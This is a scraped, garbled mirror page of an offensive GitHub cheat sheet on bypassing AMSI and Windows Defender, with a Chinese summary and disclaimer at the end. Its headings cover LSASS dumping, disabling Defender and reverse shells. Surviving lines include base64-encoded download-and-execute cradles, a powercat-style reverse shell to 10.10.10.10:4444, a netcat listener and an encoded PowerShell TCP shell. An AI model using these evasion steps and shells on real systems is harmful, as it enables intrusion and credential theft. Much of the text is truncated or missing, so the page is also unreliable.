JustEvadeBro - JustEvadeBro, a cheat sheet which will aid you thr

项目说明

#JustE


JustE, a cheat sheet which will aid you through AMSI e.

(Inspired by )

Please be aware that some of these methods may not be good for OPSEC. I will add a OPSEC method to each section in the future.

Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖

Yes, we are open to Pull Requests for Hacktoberfest! Please ensure its not spam and actually contributes well to this repo. Thanks & happy hacking!

Credit Info: I ha a lot of this info through other Github repos, blogs, sites and more. I ha to give as much credit to the original creator as possible, if I have not given you credit please contact me on Twitter:

Obfuscation Tools:

Currently maintained:

Curently not really maintained:

Tools to check for anti bytes in files

gocheck

DefenderCheck

ThreatCheck

AMSITrigger

PowerShell Scripts to help bypass AMSI

TrollAMSI

TrollAMSI2

Null-4MSI

AMSI Write Raid Bypass

Easiest way to e Defender (Requires ele)

Turning off Windows Defender:

Another easy way to evade Defender (Requires ele)

Adding a folder exclusion

Checking exclusions

Downgrading to PowerShell 2.0

PowerShell 2.0 lacks AMSI support and often remains installed alongside newer , making it a potential bypass . It can be launched directly using the following command-line argument:

Alternatively, to use a PowerShell script with 2.0, add the following line at the beginning of your script:

Check All Windows Defender Definitions

AMSI bypass generators

AMSI bypasses (working as of 04/04/2024)

Multi-line bypass:

Credit: unknown as of yet.

Credit:
(Based on the original work of Matt Graeber script)

If patched, just change up the strings/.

LSASS dumping without triggering Defender

Credit:
(Full-memory lsass dump based on the original work of Matthew Graeber - )

Reverse Shells

Credit:
(Reverse shell based on the original nishang Framework written by )

Credit:
(Reverse shell based on the original nishang Framework written by )

Credit: (Based on the original nishang Framework written by )

Misc things:

WebClient DownloadData method:

Reverse PowerShell:

Tools that may help with A:

AMSI.Fail

Encoding to bypass:

cat rev.ps1

echo -n "iex (New-Object Net.WebClient).DownloadString(')" | iconv -t
utf-16le | base64 -w0


./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAA0AC4AMgApAA=='


Turning Powercat into Papacat!

Ensure you add papacat -c 10.10.10.10 -e cmd.exe -p 4444 at the end of papcat

echo -n 'iex (New-Object Net.WebClient).DownloadString(")' | iconv -t utf-16le | base64 -w0

Papacatv2

Taken from:

Extra features I performed to ensure (basic) A is done right:

renamed every mention of 'powercat' to 'papacat' in the file

renamed the file from 'powercat.ps1' to 'papacat.ps1'

removed the help output from '$Help'

These steps may not be necessary to evade AV.

Note: This is not a fully undetected bypass. As of 24/11/2021 @ 9:35 AM this works against Windows Defender (Security intelligence 1.353.1502.0), but may not work against other AV. For detections see the links below:

PEzor!

A method that bypassed Defender on an engagement at work (Sometime 2020) [Confirm if it still works]

0. Download and add procat -c x.x.x.x-p 4444 -e cmd.exe to the bottom of procat.ps1.

1. Execute: echo -n 'iex (New-Object Net.WebClient).DownloadString(")' | iconv -t utf-16le | base64 -w0 on the attacking machine.

2. Execute a Python server on the attacking machine:

3. Execute the PowerShell command on the attacking machine: powershell -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAABAcwAxACIAKQA=.

4. Run a netcat listener on the attacking machine: nc -nlvp 4444.

5. Execute the PowerShell command on the attacking machine: powershell.exe -a '-NoProfile -Command powershell.exe -EncodedCommand JABzAG8AYwBrAGUAdAAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0bwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACcANQAyAC4ANgAzAC4AMQA4AC4AMQA4ACcALAAgADQANAA0ADQAKQA7AAoAaQBmACgAJABzAG8AYwBrAGUAdAAgAC0AZQBxACAAJABuAHUAbABsACkAewBlAHgAaQB0ACAAMQB9AAoAJABzAHQAcgBlAGEAbQAgAD0AIAAkAHMAbwBjAGsAZQB0AC40AHIAZQBhAG0AKAApADsACgAkAHc'

6. If lucky, you may get a shell.

Getting go binaries past Defender!

Binaries written in go can easily obfuscated to bypass Defender.

Inspiration:

I ran the below commands on Windows, (using git & golang) however, the abo shows that its definitely possible in Kali.

The commands used to create a Garble of Chisel are as below:

No detections against Windows Defender as of 30/03/2023:

(I had to use upx to get the binary smaller than 10mb as that is the limit for antiscan.me)

Legacy Bypasses (Things that use to work - still worth trying!)

AMSI (Single-line bypasses)

Credit:

Credit: (however, I think it's originally from Matt Graeber)

Credit:

Downloader execution based on system architecture

Credit:

项目信息

开发语言：未知

Star 数：316

技术要点

该项目属于病毒分析方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。